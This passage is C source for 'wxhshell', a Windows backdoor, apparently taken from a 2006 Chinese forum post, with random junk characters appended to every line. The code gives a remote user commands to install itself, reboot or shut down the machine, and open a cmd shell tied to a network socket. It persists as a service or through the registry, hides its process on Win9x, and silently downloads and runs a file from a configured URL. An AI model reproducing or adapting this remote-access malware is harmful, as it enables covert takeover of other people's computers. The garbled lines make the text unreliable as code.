  else { {ZY^tTsY  
hy3[MOD$G  
    switch(cmd[0]) { _+wv3? c"  
  JrOp-ug  
  // 帮助 V[rNJf1z  
  case '?': { v>~ottQ|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #HJF==  
    break; @HMt}zD  
  } #fzvK+  
  // 安装 %*oz~,i  
  case 'i': { ~ AS2$  
    if(Install()) mhnD1}9,Ih  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B.'@~$  
    else />FrMz8;(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *~lD;{2  
    break; pIC CjA?3@  
    } ;6e#W!  
  // 卸载 `(_cR@\  
  case 'r': { n-}:D<\7  
    if(Uninstall()) |pqLwnOu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9hmCvQgtf  
    else n&r-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9bMM-~  
    break; k#c BBrY  
    } <{[AG3/Zj4  
  // 显示 wxhshell 所在路径 J= ia  
  case 'p': { wkdd&Nw;  
    char svExeFile[MAX_PATH]; pyT+ba#  
    strcpy(svExeFile,"\n\r"); -=Q_E^'  
      strcat(svExeFile,ExeFile); {,]BqFXv  
        send(wsh,svExeFile,strlen(svExeFile),0); ^t*+hFEI  
    break; Jk}L+X vv  
    } E:D1ZV  
  // 重启 oeDsJ6;  
  case 'b': { JAC W#'4hV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N>/*)Frt  
    if(Boot(REBOOT)) /JEH%)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >BrxJw#M  
    else { U`W^w%  
    closesocket(wsh); 0k:&7(j  
    ExitThread(0); d;m Q=k 1  
    } d#ya"e>  
    break; 6zRJ5uI,/  
    } Pl}}!<!<z  
  // 关机 y z9`1R2c  
  case 'd': { S4qh8c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UciWrwE  
    if(Boot(SHUTDOWN)) c5;YKON  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }sPY+ZjV  
    else { tPO.^  
    closesocket(wsh); fOE:~3Q  
    ExitThread(0); $C9<{zX   
    } &I'~:nWpt  
    break; Qc[[@=S%  
    } c`doR(oZ  
  // 获取shell s.=)p"pTd  
  case 's': { z9w@-])  
    CmdShell(wsh); wS``Q8K+dM  
    closesocket(wsh); .7ahz8v  
    ExitThread(0); eb9qg.9Z  
    break; )6bxP&k  
  } %bDd  
  // 退出 <e/O"6='Z  
  case 'x': { k`oXo%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nz+o8L,  
    CloseIt(wsh); k_P`t[YZV  
    break; Vq9hAD|k  
    } ;2L=WR%  
  // 离开 VZAdc*X  
  case 'q': { Rn(|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M8KfC!  
    closesocket(wsh); Q.z2 (&  
    WSACleanup(); }Lb];hww1  
    exit(1); YQQ!1 hw  
    break; a.%]5%O;t  
        } y*uL,WH  
  } f\r$T Nd6  
  } X@~sIUXx9  
}ZVNDvGH  
  // 提示信息 Qbv)(&i# ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Qy,P kje  
} B@iIj<p~  
  } _F@FcFG1Z*  
@C z1rKU^l  
  return; i3e|j(Gs4  
} l_,8_u7G  
Z :Kob b  
// shell模块句柄 $<ZX};/D  
int CmdShell(SOCKET sock) nF=Ig-NX^  
{ KpwUp5K  
STARTUPINFO si; \2NiI]t]  
ZeroMemory(&si,sizeof(si)); 0 ?2#SM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X,y$!2QI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |?g2k:fzB7  
PROCESS_INFORMATION ProcessInfo; X='4 N<  
char cmdline[]="cmd"; )9<)mV*EB(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <n6/np!  
  return 0; \H" (*["&  
} ZT^PL3j+  
0hNc#x6  
// 自身启动模式 [,1j(s`N5  
int StartFromService(void) gl!3pTC  
{ l;|1C[V  
typedef struct v WhtClJ3  
{ %"KBX~3+Kj  
  DWORD ExitStatus; 7XwFO0==  
  DWORD PebBaseAddress; ^ )+tn  
  DWORD AffinityMask; ol:_2G2xQ  
  DWORD BasePriority; #vDe/o+=  
  ULONG UniqueProcessId; `mWg$e,  
  ULONG InheritedFromUniqueProcessId; qY0Ic5wCY  
}   PROCESS_BASIC_INFORMATION; Sk1yend4  
%*s[s0$c  
PROCNTQSIP NtQueryInformationProcess; 5k\61(*s  
yXEC@#?|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *sw$OnVb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ur@'X-  
|bBYJ  
  HANDLE             hProcess; Pd@?(WQ  
  PROCESS_BASIC_INFORMATION pbi; ml3]CcKn  
 UnO -?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e8gD(T  
  if(NULL == hInst ) return 0; S&QZ"4jq  
M&>Z[o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7%?A0%>6G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IB?5y~+h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qb SX'mx<  
VvPTL8Z  
  if (!NtQueryInformationProcess) return 0; K(Cv9YQ  
7d9%L}+q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nNL9B~d  
  if(!hProcess) return 0; .IG(Y!cB  
,Z52d ggD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jt;,7Ek  
5X[=Q>  
  CloseHandle(hProcess); XLzHm&;  
p'_* >%4~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); scA&:y  
if(hProcess==NULL) return 0; jLZ~9FXF2  
gE:qMs;  
HMODULE hMod; Rr:,'cXGi  
char procName[255]; % +eZ U)N  
unsigned long cbNeeded; Gh@QR`xxc  
a|66[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Blf;_e~=[j  
0A|.ch  
  CloseHandle(hProcess); )TV'eq  
PCD1I98  
if(strstr(procName,"services")) return 1; // 以服务启动 zQD$+q5h  
M3x%D)*  
  return 0; // 注册表启动 {HQ?  
} r6j 3A  
Dmn6{jy P  
// 主模块 IEO5QV:u:  
int StartWxhshell(LPSTR lpCmdLine) e6]u5;B r  
{ 3;#v$F8R  
  SOCKET wsl; ?mrG^TV^+r  
BOOL val=TRUE; K~C*4H:9  
  int port=0; Lymy/9  
  struct sockaddr_in door; Uln[UK  
qifX7AXHr  
  if(wscfg.ws_autoins) Install(); M2mte#h  
bf::bV?T  
port=atoi(lpCmdLine); $I+QyKO9k  
%?R}sUo  
if(port<=0) port=wscfg.ws_port; "M1[@xog  
^P\(IDJCo  
  WSADATA data; l *.#g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BPe5c :z  
leX&py  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }"%tlU!}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Q rf ]  
  door.sin_family = AF_INET; \h?C G_|]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KR%DpQ&{'  
  door.sin_port = htons(port); t%V!SvT8+  
GR Rv0M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GnkNoaU  
closesocket(wsl); `/8Dmg  
return 1; gI<TfcC  
} tJ i#bg%  
O| ) [j@7  
  if(listen(wsl,2) == INVALID_SOCKET) { xP "7B9B  
closesocket(wsl); G!uoKiL  
return 1; 5iwJdm  
} VE6 V^6SL  
  Wxhshell(wsl); .B+R+2uY3  
  WSACleanup(); lqTTTk  
D({% FQ"  
return 0; :]v%6i.  
B#N(PvtE  
} c-(,%0G0  
Om,+59ua*  
// 以NT服务方式启动 4 >at# Zc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uK2MC?LP  
{ $0~H~ -  
DWORD   status = 0; ?k CK$P  
  DWORD   specificError = 0xfffffff; !X[b 4p  
vT#zc)j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P4-`<i]!S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; # y%Q{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , `ST Va-  
  serviceStatus.dwWin32ExitCode     = 0; *Fi`o_d9[`  
  serviceStatus.dwServiceSpecificExitCode = 0; 0&mOu #l  
  serviceStatus.dwCheckPoint       = 0; xT6&;,|`  
  serviceStatus.dwWaitHint       = 0; 01uMbtM  
.DiH)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lTBPq?4{  
  if (hServiceStatusHandle==0) return; 1JM EniB+9  
$!)Sgb  
status = GetLastError(); }RowAGWL  
  if (status!=NO_ERROR) d!mtSOh  
{ ze@NqCF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <csz4tL}P  
    serviceStatus.dwCheckPoint       = 0; TPH`{  
    serviceStatus.dwWaitHint       = 0; >~8;H x].d  
    serviceStatus.dwWin32ExitCode     = status; sEP-jEuwG  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^1^k<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v10p]=HmO  
    return; #RT}-H  
  } (N{Rda*8  
Fr_esx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #-*7<wN   
  serviceStatus.dwCheckPoint       = 0; VOr*YB&  
  serviceStatus.dwWaitHint       = 0; ilJeI@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?@8[1$1a  
} G8b/eWtP  
+EK(r@eV  
// 处理NT服务事件,比如:启动、停止 q/w<>u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =%P'?(o|  
{ GG%X1c8K  
switch(fdwControl) |<tZ|  
{ DID&fj9m  
case SERVICE_CONTROL_STOP: jR-DH]@y  
  serviceStatus.dwWin32ExitCode = 0; DY1?37h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k.=67L  
  serviceStatus.dwCheckPoint   = 0; WvSh i=  
  serviceStatus.dwWaitHint     = 0; 9QE|p  
  { 2ED^uc: 0S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {];4  
  } JA0$Fz  
  return; *%< Ku&C  
case SERVICE_CONTROL_PAUSE: tTrUVuZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (}E-+:vFU  
  break; %SORs(4  
case SERVICE_CONTROL_CONTINUE: 6&V4W"k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w}n:_e  
  break; n.zVCKN H  
case SERVICE_CONTROL_INTERROGATE: l*]9   
  break; .C=&` ;Vs  
}; 9Br2}!Ny  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 4%jz-m  
} C {.{>M  
$tvGS6p>  
// 标准应用程序主函数 LX A1rgUWT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2y; |6`  
{ 8\c= Un  
1o)Vzv  
// 获取操作系统版本 N,v4SIC@  
OsIsNt=GetOsVer(); dLOUL9hf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x" 21 Jh  
"o#N6Qu71  
  // 从命令行安装 *]G&pmMs  
  if(strpbrk(lpCmdLine,"iI")) Install(); AMqu}G  
R<W#.mpo6  
  // 下载执行文件 .UNh\R?r  
if(wscfg.ws_downexe) { T=7V+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xo{f"8}^  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ds}6{']K  
} a}>GQu*y  
6@F Z,e  
if(!OsIsNt) { '!1lK  
// 如果时win9x,隐藏进程并且设置为注册表启动 9(X *[X#  
HideProc(); R:ar85F  
StartWxhshell(lpCmdLine); V;:A&  
} $(CHwG-  
else q0c)pxD%`  
  if(StartFromService()) T >-F~?7Sv  
  // 以服务方式启动 HPCA,*YR`  
  StartServiceCtrlDispatcher(DispatchTable); \pPq ]k  
else 'M'LJ.,"/  
  // 普通方式启动 }<Me%`x"  
  StartWxhshell(lpCmdLine); *M`[YG19!e  
rW6w1  
return 0; &Y#9~$V=  
}
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只看该作者 1 发表于: 2006-10-10
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